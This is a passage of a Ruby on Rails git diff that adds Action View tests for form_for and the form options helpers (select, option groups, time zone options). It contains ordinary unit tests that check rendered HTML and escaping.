+
+ def test_form_for_with_labelled_builder_with_nested_fields_for_with_options_hash
+ klass = nil
+
+ form_for(@post, builder: LabelledFormBuilder) do |f|
+ f.fields_for(:comments, Comment.new, index: 'foo') do |nested_fields|
+ klass = nested_fields.class
+ ''
+ end
+ end
+
+ assert_equal LabelledFormBuilder, klass
+ end
+
+ def test_form_for_with_labelled_builder_path
+ path = nil
+
+ form_for(@post, builder: LabelledFormBuilder) do |f|
+ path = f.to_partial_path
+ ''
+ end
+
+ assert_equal 'labelled_form', path
+ end
+
+ class LabelledFormBuilderSubclass < LabelledFormBuilder; end
+
+ def test_form_for_with_labelled_builder_with_nested_fields_for_with_custom_builder
+ klass = nil
+
+ form_for(@post, builder: LabelledFormBuilder) do |f|
+ f.fields_for(:comments, Comment.new, builder: LabelledFormBuilderSubclass) do |nested_fields|
+ klass = nested_fields.class
+ ''
+ end
+ end
+
+ assert_equal LabelledFormBuilderSubclass, klass
+ end
+
+ def test_form_for_with_html_options_adds_options_to_form_tag
+ form_for(@post, html: { id: 'some_form', class: 'some_class', multipart: true }) do |f| end
+ expected = whole_form("/posts/123", "some_form", "some_class", method: "patch", multipart: "multipart/form-data")
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_string_url_option
+ form_for(@post, url: 'http://www.otherdomain.com') do |f| end
+
+ assert_dom_equal whole_form("http://www.otherdomain.com", "edit_post_123", "edit_post", method: "patch"), output_buffer
+ end
+
+ def test_form_for_with_hash_url_option
+ form_for(@post, url: { controller: 'controller', action: 'action' }) do |f| end
+
+ assert_equal 'controller', @url_for_options[:controller]
+ assert_equal 'action', @url_for_options[:action]
+ end
+
+ def test_form_for_with_record_url_option
+ form_for(@post, url: @post) do |f| end
+
+ expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_existing_object
+ form_for(@post) do |f| end
+
+ expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_new_object
+ post = Post.new
+ post.persisted = false
+ def post.to_key; nil; end
+
+ form_for(post) do |f| end
+
+ expected = whole_form("/posts", "new_post", "new_post")
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_existing_object_in_list
+ @comment.save
+ form_for([@post, @comment]) {}
+
+ expected = whole_form(post_comment_path(@post, @comment), "edit_comment_1", "edit_comment", method: "patch")
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_new_object_in_list
+ form_for([@post, @comment]) {}
+
+ expected = whole_form(post_comments_path(@post), "new_comment", "new_comment")
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_existing_object_and_namespace_in_list
+ @comment.save
+ form_for([:admin, @post, @comment]) {}
+
+ expected = whole_form(admin_post_comment_path(@post, @comment), "edit_comment_1", "edit_comment", method: "patch")
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_new_object_and_namespace_in_list
+ form_for([:admin, @post, @comment]) {}
+
+ expected = whole_form(admin_post_comments_path(@post), "new_comment", "new_comment")
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_existing_object_and_custom_url
+ form_for(@post, url: "/super_posts") do |f| end
+
+ expected = whole_form("/super_posts", "edit_post_123", "edit_post", method: "patch")
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_default_method_as_patch
+ form_for(@post) {}
+ expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_form_for_with_data_attributes
+ form_for(@post, data: { behavior: "stuff" }, remote: true) {}
+ assert_match %r|data-behavior="stuff"|, output_buffer
+ assert_match %r|data-remote="true"|, output_buffer
+ end
+
+ def test_fields_for_returns_block_result
+ output = fields_for(Post.new) { |f| "fields" }
+ assert_equal "fields", output
+ end
+
+ def test_form_for_only_instantiates_builder_once
+ initialization_count = 0
+ builder_class = Class.new(ActionView::Helpers::FormBuilder) do
+ define_method :initialize do |*args|
+ super(*args)
+ initialization_count += 1
+ end
+ end
+
+ form_for(@post, builder: builder_class) { }
+ assert_equal 1, initialization_count, 'form builder instantiated more than once'
+ end
+
+ protected
+
+ def hidden_fields(options = {})
+ method = options[:method]
+
+ if options.fetch(:enforce_utf8, true)
+ txt = %{<input name="utf8" type="hidden" value="&#x2713;" />}
+ else
+ txt = ''
+ end
+
+ if method && !%w(get post).include?(method.to_s)
+ txt << %{<input name="_method" type="hidden" value="#{method}" />}
+ end
+
+ txt
+ end
+
+ def form_text(action = "/", id = nil, html_class = nil, remote = nil, multipart = nil, method = nil)
+ txt = %{<form accept-charset="UTF-8" action="#{action}"}
+ txt << %{ enctype="multipart/form-data"} if multipart
+ txt << %{ data-remote="true"} if remote
+ txt << %{ class="#{html_class}"} if html_class
+ txt << %{ id="#{id}"} if id
+ method = method.to_s == "get" ? "get" : "post"
+ txt << %{ method="#{method}">}
+ end
+
+ def whole_form(action = "/", id = nil, html_class = nil, options = {})
+ contents = block_given? ? yield : ""
+
+ method, remote, multipart = options.values_at(:method, :remote, :multipart)
+
+ form_text(action, id, html_class, remote, multipart, method) + hidden_fields(options.slice :method, :enforce_utf8) + contents + "</form>"
+ end
+
+ def protect_against_forgery?
+ false
+ end
+
+ def with_locale(testing_locale = :label)
+ old_locale, I18n.locale = I18n.locale, testing_locale
+ yield
+ ensure
+ I18n.locale = old_locale
+ end
+end
diff --git a/actionpack/test/template/form_options_helper_i18n_test.rb b/actionview/test/template/form_options_helper_i18n_test.rb
index 4972ea6511..4972ea6511 100644
--- a/actionpack/test/template/form_options_helper_i18n_test.rb
+++ b/actionview/test/template/form_options_helper_i18n_test.rb
diff --git a/actionview/test/template/form_options_helper_test.rb b/actionview/test/template/form_options_helper_test.rb
new file mode 100644
index 0000000000..d25fa3706f
--- /dev/null
+++ b/actionview/test/template/form_options_helper_test.rb
@@ -0,0 +1,1358 @@
+require 'abstract_unit'
+
+class Map < Hash
+ def category
+ "<mus>"
+ end
+end
+
+class FormOptionsHelperTest < ActionView::TestCase
+ tests ActionView::Helpers::FormOptionsHelper
+
+ silence_warnings do
+ Post = Struct.new('Post', :title, :author_name, :body, :secret, :written_on, :category, :origin, :allow_comments)
+ Continent = Struct.new('Continent', :continent_name, :countries)
+ Country = Struct.new('Country', :country_id, :country_name)
+ Firm = Struct.new('Firm', :time_zone)
+ Album = Struct.new('Album', :id, :title, :genre)
+ end
+
+ def setup
+ @fake_timezones = %w(A B C D E).map do |id|
+ tz = stub(:name => id, :to_s => id)
+ ActiveSupport::TimeZone.stubs(:[]).with(id).returns(tz)
+ tz
+ end
+ ActiveSupport::TimeZone.stubs(:all).returns(@fake_timezones)
+ end
+
+ def test_collection_options
+ assert_dom_equal(
+ "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title")
+ )
+ end
+
+
+ def test_collection_options_with_preselected_value
+ assert_dom_equal(
+ "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", "Babe")
+ )
+ end
+
+ def test_collection_options_with_preselected_value_array
+ assert_dom_equal(
+ "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", [ "Babe", "Cabe" ])
+ )
+ end
+
+ def test_collection_options_with_proc_for_selected
+ assert_dom_equal(
+ "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", lambda{|p| p.author_name == 'Babe' })
+ )
+ end
+
+ def test_collection_options_with_disabled_value
+ assert_dom_equal(
+ "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => "Babe")
+ )
+ end
+
+ def test_collection_options_with_disabled_array
+ assert_dom_equal(
+ "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => [ "Babe", "Cabe" ])
+ )
+ end
+
+ def test_collection_options_with_preselected_and_disabled_value
+ assert_dom_equal(
+ "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", :selected => "Cabe", :disabled => "Babe")
+ )
+ end
+
+ def test_collection_options_with_proc_for_disabled
+ assert_dom_equal(
+ "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => lambda {|p| %w(Babe Cabe).include?(p.author_name)})
+ )
+ end
+
+ def test_collection_options_with_proc_for_value_method
+ assert_dom_equal(
+ "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, lambda { |p| p.author_name }, "title")
+ )
+ end
+
+ def test_collection_options_with_proc_for_text_method
+ assert_dom_equal(
+ "<option value=\"&lt;Abe&gt;\">&lt;Abe&gt; went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+ options_from_collection_for_select(dummy_posts, "author_name", lambda { |p| p.title })
+ )
+ end
+
+ def test_collection_options_with_element_attributes
+ assert_dom_equal(
+ "<option value=\"USA\" class=\"bold\">USA</option>",
+ options_from_collection_for_select([[ "USA", "USA", { :class => 'bold' } ]], :first, :second)
+ )
+ end
+
+ def test_string_options_for_select
+ options = "<option value=\"Denmark\">Denmark</option><option value=\"USA\">USA</option><option value=\"Sweden\">Sweden</option>"
+ assert_dom_equal(
+ options,
+ options_for_select(options)
+ )
+ end
+
+ def test_array_options_for_select
+ assert_dom_equal(
+ "<option value=\"&lt;Denmark&gt;\">&lt;Denmark&gt;</option>\n<option value=\"USA\">USA</option>\n<option value=\"Sweden\">Sweden</option>",
+ options_for_select([ "<Denmark>", "USA", "Sweden" ])
+ )
+ end
+
+ def test_array_options_for_select_with_custom_defined_selected
+ assert_dom_equal(
+ "<option selected=\"selected\" type=\"Coach\" value=\"1\">Richard Bandler</option>\n<option type=\"Coachee\" value=\"1\">Richard Bandler</option>",
+ options_for_select([
+ ['Richard Bandler', 1, { type: 'Coach', selected: 'selected' }],
+ ['Richard Bandler', 1, { type: 'Coachee' }]
+ ])
+ )
+ end
+
+ def test_array_options_for_select_with_custom_defined_disabled
+ assert_dom_equal(
+ "<option disabled=\"disabled\" type=\"Coach\" value=\"1\">Richard Bandler</option>\n<option type=\"Coachee\" value=\"1\">Richard Bandler</option>",
+ options_for_select([
+ ['Richard Bandler', 1, { type: 'Coach', disabled: 'disabled' }],
+ ['Richard Bandler', 1, { type: 'Coachee' }]
+ ])
+ )
+ end
+
+ def test_array_options_for_select_with_selection
+ assert_dom_equal(
+ "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" selected=\"selected\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
+ options_for_select([ "Denmark", "<USA>", "Sweden" ], "<USA>")
+ )
+ end
+
+ def test_array_options_for_select_with_selection_array
+ assert_dom_equal(
+ "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" selected=\"selected\">&lt;USA&gt;</option>\n<option value=\"Sweden\" selected=\"selected\">Sweden</option>",
+ options_for_select([ "Denmark", "<USA>", "Sweden" ], [ "<USA>", "Sweden" ])
+ )
+ end
+
+ def test_array_options_for_select_with_disabled_value
+ assert_dom_equal(
+ "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" disabled=\"disabled\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
+ options_for_select([ "Denmark", "<USA>", "Sweden" ], :disabled => "<USA>")
+ )
+ end
+
+ def test_array_options_for_select_with_disabled_array
+ assert_dom_equal(
+ "<option value=\"Denmark\">Denmark</option>\n<option value=\"&lt;USA&gt;\" disabled=\"disabled\">&lt;USA&gt;</option>\n<option value=\"Sweden\" disabled=\"disabled\">Sweden</option>",
+ options_for_select([ "Denmark", "<USA>", "Sweden" ], :disabled => ["<USA>", "Sweden"])
+ )
+ end
+
+ def test_array_options_for_select_with_selection_and_disabled_value
+ assert_dom_equal(
+ "<option value=\"Denmark\" selected=\"selected\">Denmark</option>\n<option value=\"&lt;USA&gt;\" disabled=\"disabled\">&lt;USA&gt;</option>\n<option value=\"Sweden\">Sweden</option>",
+ options_for_select([ "Denmark", "<USA>", "Sweden" ], :selected => "Denmark", :disabled => "<USA>")
+ )
+ end
+
+ def test_boolean_array_options_for_select_with_selection_and_disabled_value
+ assert_dom_equal(
+ "<option value=\"true\">true</option>\n<option value=\"false\" selected=\"selected\">false</option>",
+ options_for_select([ true, false ], :selected => false, :disabled => nil)
+ )
+ end
+
+ def test_range_options_for_select
+ assert_dom_equal(
+ "<option value=\"1\">1</option>\n<option value=\"2\">2</option>\n<option value=\"3\">3</option>",
+ options_for_select(1..3)
+ )
+ end
+
+ def test_array_options_for_string_include_in_other_string_bug_fix
+ assert_dom_equal(
+ "<option value=\"ruby\">ruby</option>\n<option value=\"rubyonrails\" selected=\"selected\">rubyonrails</option>",
+ options_for_select([ "ruby", "rubyonrails" ], "rubyonrails")
+ )
+ assert_dom_equal(
+ "<option value=\"ruby\" selected=\"selected\">ruby</option>\n<option value=\"rubyonrails\">rubyonrails</option>",
+ options_for_select([ "ruby", "rubyonrails" ], "ruby")
+ )
+ assert_dom_equal(
+ %(<option value="ruby" selected="selected">ruby</option>\n<option value="rubyonrails">rubyonrails</option>\n<option value=""></option>),
+ options_for_select([ "ruby", "rubyonrails", nil ], "ruby")
+ )
+ end
+
+ def test_hash_options_for_select
+ assert_dom_equal(
+ "<option value=\"Dollar\">$</option>\n<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>",
+ options_for_select("$" => "Dollar", "<DKR>" => "<Kroner>").split("\n").join("\n")
+ )
+ assert_dom_equal(
+ "<option value=\"Dollar\" selected=\"selected\">$</option>\n<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>",
+ options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, "Dollar").split("\n").join("\n")
+ )
+ assert_dom_equal(
+ "<option value=\"Dollar\" selected=\"selected\">$</option>\n<option value=\"&lt;Kroner&gt;\" selected=\"selected\">&lt;DKR&gt;</option>",
+ options_for_select({ "$" => "Dollar", "<DKR>" => "<Kroner>" }, [ "Dollar", "<Kroner>" ]).split("\n").join("\n")
+ )
+ end
+
+ def test_ducktyped_options_for_select
+ quack = Struct.new(:first, :last)
+ assert_dom_equal(
+ "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\">$</option>",
+ options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")])
+ )
+ assert_dom_equal(
+ "<option value=\"&lt;Kroner&gt;\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
+ options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], "Dollar")
+ )
+ assert_dom_equal(
+ "<option value=\"&lt;Kroner&gt;\" selected=\"selected\">&lt;DKR&gt;</option>\n<option value=\"Dollar\" selected=\"selected\">$</option>",
+ options_for_select([quack.new("<DKR>", "<Kroner>"), quack.new("$", "Dollar")], ["Dollar", "<Kroner>"])
+ )
+ end
+
+ def test_collection_options_with_preselected_value_as_string_and_option_value_is_integer
+ albums = [ Album.new(1, "first","rap"), Album.new(2, "second","pop")]
+ assert_dom_equal(
+ %(<option selected="selected" value="1">rap</option>\n<option value="2">pop</option>),
+ options_from_collection_for_select(albums, "id", "genre", :selected => "1")
+ )
+ end
+
+ def test_collection_options_with_preselected_value_as_integer_and_option_value_is_string
+ albums = [ Album.new("1", "first","rap"), Album.new("2", "second","pop")]
+
+ assert_dom_equal(
+ %(<option selected="selected" value="1">rap</option>\n<option value="2">pop</option>),
+ options_from_collection_for_select(albums, "id", "genre", :selected => 1)
+ )
+ end
+
+ def test_collection_options_with_preselected_value_as_string_and_option_value_is_float
+ albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop")]
+
+ assert_dom_equal(
+ %(<option value="1.0">rap</option>\n<option value="2.0" selected="selected">pop</option>),
+ options_from_collection_for_select(albums, "id", "genre", :selected => "2.0")
+ )
+ end
+
+ def test_collection_options_with_preselected_value_as_nil
+ albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop")]
+
+ assert_dom_equal(
+ %(<option value="1.0">rap</option>\n<option value="2.0">pop</option>),
+ options_from_collection_for_select(albums, "id", "genre", :selected => nil)
+ )
+ end
+
+ def test_collection_options_with_disabled_value_as_nil
+ albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop")]
+
+ assert_dom_equal(
+ %(<option value="1.0">rap</option>\n<option value="2.0">pop</option>),
+ options_from_collection_for_select(albums, "id", "genre", :disabled => nil)
+ )
+ end
+
+ def test_collection_options_with_disabled_value_as_array
+ albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop")]
+
+ assert_dom_equal(
+ %(<option disabled="disabled" value="1.0">rap</option>\n<option disabled="disabled" value="2.0">pop</option>),
+ options_from_collection_for_select(albums, "id", "genre", :disabled => ["1.0", 2.0])
+ )
+ end
+
+ def test_collection_options_with_preselected_values_as_string_array_and_option_value_is_float
+ albums = [ Album.new(1.0, "first","rap"), Album.new(2.0, "second","pop"), Album.new(3.0, "third","country") ]
+
+ assert_dom_equal(
+ %(<option value="1.0" selected="selected">rap</option>\n<option value="2.0">pop</option>\n<option value="3.0" selected="selected">country</option>),
+ options_from_collection_for_select(albums, "id", "genre", ["1.0","3.0"])
+ )
+ end
+
+ def test_option_groups_from_collection_for_select
+ assert_dom_equal(
+ "<optgroup label=\"&lt;Africa&gt;\"><option value=\"&lt;sa&gt;\">&lt;South Africa&gt;</option>\n<option value=\"so\">Somalia</option></optgroup><optgroup label=\"Europe\"><option value=\"dk\" selected=\"selected\">Denmark</option>\n<option value=\"ie\">Ireland</option></optgroup>",
+ option_groups_from_collection_for_select(dummy_continents, "countries", "continent_name", "country_id", "country_name", "dk")
+ )
+ end
+
+ def test_option_groups_from_collection_for_select_returns_html_safe_string
+ assert option_groups_from_collection_for_select(dummy_continents, "countries", "continent_name", "country_id", "country_name", "dk").html_safe?
+ end
+
+ def test_grouped_options_for_select_with_array
+ assert_dom_equal(
+ "<optgroup label=\"North America\"><option value=\"US\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\"><option value=\"GB\">Great Britain</option>\n<option value=\"Germany\">Germany</option></optgroup>",
+ grouped_options_for_select([
+ ["North America",
+ [['United States','US'],"Canada"]],
+ ["Europe",
+ [["Great Britain","GB"], "Germany"]]
+ ])
+ )
+ end
+
+ def test_grouped_options_for_select_with_array_and_html_attributes
+ assert_dom_equal(
+ "<optgroup label=\"North America\" data-foo=\"bar\"><option value=\"US\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\" disabled=\"disabled\"><option value=\"GB\">Great Britain</option>\n<option value=\"Germany\">Germany</option></optgroup>",
+ grouped_options_for_select([
+ ["North America", [['United States','US'],"Canada"], :data => { :foo => 'bar' }],
+ ["Europe", [["Great Britain","GB"], "Germany"], :disabled => 'disabled']
+ ])
+ )
+ end
+
+ def test_grouped_options_for_select_with_optional_divider
+ assert_dom_equal(
+ "<optgroup label=\"----------\"><option value=\"US\">US</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"----------\"><option value=\"GB\">GB</option>\n<option value=\"Germany\">Germany</option></optgroup>",
+
+ grouped_options_for_select([['US',"Canada"] , ["GB", "Germany"]], nil, divider: "----------")
+ )
+ end
+
+ def test_grouped_options_for_select_with_selected_and_prompt
+ assert_dom_equal(
+ "<option value=\"\">Choose a product...</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+ grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", prompt: "Choose a product...")
+ )
+ end
+
+ def test_grouped_options_for_select_with_selected_and_prompt_true
+ assert_dom_equal(
+ "<option value=\"\">Please select</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option selected=\"selected\" value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+ grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], "Cowboy Hat", prompt: true)
+ )
+ end
+
+ def test_grouped_options_for_select_returns_html_safe_string
+ assert grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]]).html_safe?
+ end
+
+ def test_grouped_options_for_select_with_prompt_returns_html_escaped_string
+ assert_dom_equal(
+ "<option value=\"\">&lt;Choose One&gt;</option><optgroup label=\"Hats\"><option value=\"Baseball Cap\">Baseball Cap</option>\n<option value=\"Cowboy Hat\">Cowboy Hat</option></optgroup>",
+ grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]], nil, prompt: '<Choose One>'))
+ end
+
+ def test_optgroups_with_with_options_with_hash
+ assert_dom_equal(
+ "<optgroup label=\"North America\"><option value=\"United States\">United States</option>\n<option value=\"Canada\">Canada</option></optgroup><optgroup label=\"Europe\"><option value=\"Denmark\">Denmark</option>\n<option value=\"Germany\">Germany</option></optgroup>",
+ grouped_options_for_select({'North America' => ['United States','Canada'], 'Europe' => ['Denmark','Germany']})
+ )
+ end
+
+ def test_time_zone_options_no_params
+ opts = time_zone_options_for_select
+ assert_dom_equal "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\">D</option>\n" +
+ "<option value=\"E\">E</option>",
+ opts
+ end
+
+ def test_time_zone_options_with_selected
+ opts = time_zone_options_for_select( "D" )
+ assert_dom_equal "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\" selected=\"selected\">D</option>\n" +
+ "<option value=\"E\">E</option>",
+ opts
+ end
+
+ def test_time_zone_options_with_unknown_selected
+ opts = time_zone_options_for_select( "K" )
+ assert_dom_equal "<option value=\"A\">A</option>\n" +
+ "<option value=\"B\">B</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\">D</option>\n" +
+ "<option value=\"E\">E</option>",
+ opts
+ end
+
+ def test_time_zone_options_with_priority_zones
+ zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+ opts = time_zone_options_for_select( nil, zones )
+ assert_dom_equal "<option value=\"B\">B</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\">D</option>",
+ opts
+ end
+
+ def test_time_zone_options_with_selected_priority_zones
+ zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+ opts = time_zone_options_for_select( "E", zones )
+ assert_dom_equal "<option value=\"B\">B</option>\n" +
+ "<option value=\"E\" selected=\"selected\">E</option>" +
+ "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"C\">C</option>\n" +
+ "<option value=\"D\">D</option>",
+ opts
+ end
+
+ def test_time_zone_options_with_unselected_priority_zones
+ zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+ opts = time_zone_options_for_select( "C", zones )
+ assert_dom_equal "<option value=\"B\">B</option>\n" +
+ "<option value=\"E\">E</option>" +
+ "<option value=\"\" disabled=\"disabled\">-------------</option>\n" +
+ "<option value=\"A\">A</option>\n" +
+ "<option value=\"C\" selected=\"selected\">C</option>\n" +
+ "<option value=\"D\">D</option>",
+ opts
+ end
+
+ def test_time_zone_options_with_priority_zones_does_not_mutate_time_zones
+ original_zones = ActiveSupport::TimeZone.all.dup
+ zones = [ ActiveSupport::TimeZone.new( "B" ), ActiveSupport::TimeZone.new( "E" ) ]
+ time_zone_options_for_select(nil, zones)
+ assert_equal original_zones, ActiveSupport::TimeZone.all
+ end
+
+ def test_time_zone_options_returns_html_safe_string
+ assert time_zone_options_for_select.html_safe?
+ end
+
+ def test_select
+ @post = Post.new
+ @post.category = "<mus>"
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ select("post", "category", %w( abe <mus> hest))
+ )
+ end
+
+ def test_select_without_multiple
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"></select>",
+ select(:post, :category, "", {}, :multiple => false)
+ )
+ end
+
+ def test_select_with_grouped_collection_as_nested_array
+ @post = Post.new
+
+ countries_by_continent = [
+ ["<Africa>", [["<South Africa>", "<sa>"], ["Somalia", "so"]]],
+ ["Europe", [["Denmark", "dk"], ["Ireland", "ie"]]],
+ ]
+
+ assert_dom_equal(
+ [
+ %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>},
+ %Q{<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk">Denmark</option>},
+ %Q{<option value="ie">Ireland</option></optgroup></select>},
+ ].join("\n"),
+ select("post", "origin", countries_by_continent)
+ )
+ end
+
+ def test_select_with_grouped_collection_as_hash
+ @post = Post.new
+
+ countries_by_continent = {
+ "<Africa>" => [["<South Africa>", "<sa>"], ["Somalia", "so"]],
+ "Europe" => [["Denmark", "dk"], ["Ireland", "ie"]],
+ }
+
+ assert_dom_equal(
+ [
+ %Q{<select id="post_origin" name="post[origin]"><optgroup label="&lt;Africa&gt;"><option value="&lt;sa&gt;">&lt;South Africa&gt;</option>},
+ %Q{<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk">Denmark</option>},
+ %Q{<option value="ie">Ireland</option></optgroup></select>},
+ ].join("\n"),
+ select("post", "origin", countries_by_continent)
+ )
+ end
+
+ def test_select_with_boolean_method
+ @post = Post.new
+ @post.allow_comments = false
+ assert_dom_equal(
+ "<select id=\"post_allow_comments\" name=\"post[allow_comments]\"><option value=\"true\">true</option>\n<option value=\"false\" selected=\"selected\">false</option></select>",
+ select("post", "allow_comments", %w( true false ))
+ )
+ end
+
+ def test_select_under_fields_for
+ @post = Post.new
+ @post.category = "<mus>"
+
+ output_buffer = fields_for :post, @post do |f|
+ concat f.select(:category, %w( abe <mus> hest))
+ end
+
+ assert_dom_equal(
+ "<select id=\"post_category\" name=\"post[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ output_buffer
+ )
+ end
+
+ def test_fields_for_with_record_inherited_from_hash
+ map = Map.new
+
+ output_buffer = fields_for :map, map do |f|
+ concat f.select(:category, %w( abe <mus> hest))
+ end
+
+ assert_dom_equal(
+ "<select id=\"map_category\" name=\"map[category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ output_buffer
+ )
+ end
+
+ def test_select_under_fields_for_with_index
+ @post = Post.new
+ @post.category = "<mus>"
+
+ output_buffer = fields_for :post, @post, :index => 108 do |f|
+ concat f.select(:category, %w( abe <mus> hest))
+ end
+
+ assert_dom_equal(
+ "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ output_buffer
+ )
+ end
+
+ def test_select_under_fields_for_with_auto_index
+ @post = Post.new
+ @post.category = "<mus>"
+ def @post.to_param; 108; end
+
+ output_buffer = fields_for "post[]", @post do |f|
+ concat f.select(:category, %w( abe <mus> hest))
+ end
+
+ assert_dom_equal(
+ "<select id=\"post_108_category\" name=\"post[108][category]\"><option value=\"abe\">abe</option>\n<option value=\"&lt;mus&gt;\" selected=\"selected\">&lt;mus&gt;</option>\n<option value=\"hest\">hest</option></select>",
+ output_buffer
+ )
+ end
+
+ def test_select_under_fields_for_with_string_and_given_prompt
+ @post = Post.new
+ options = "<option value=\"abe\">abe</option><option value=\"mus\">mus</option><option value=\"hest\">hest</option>".html_safe
+
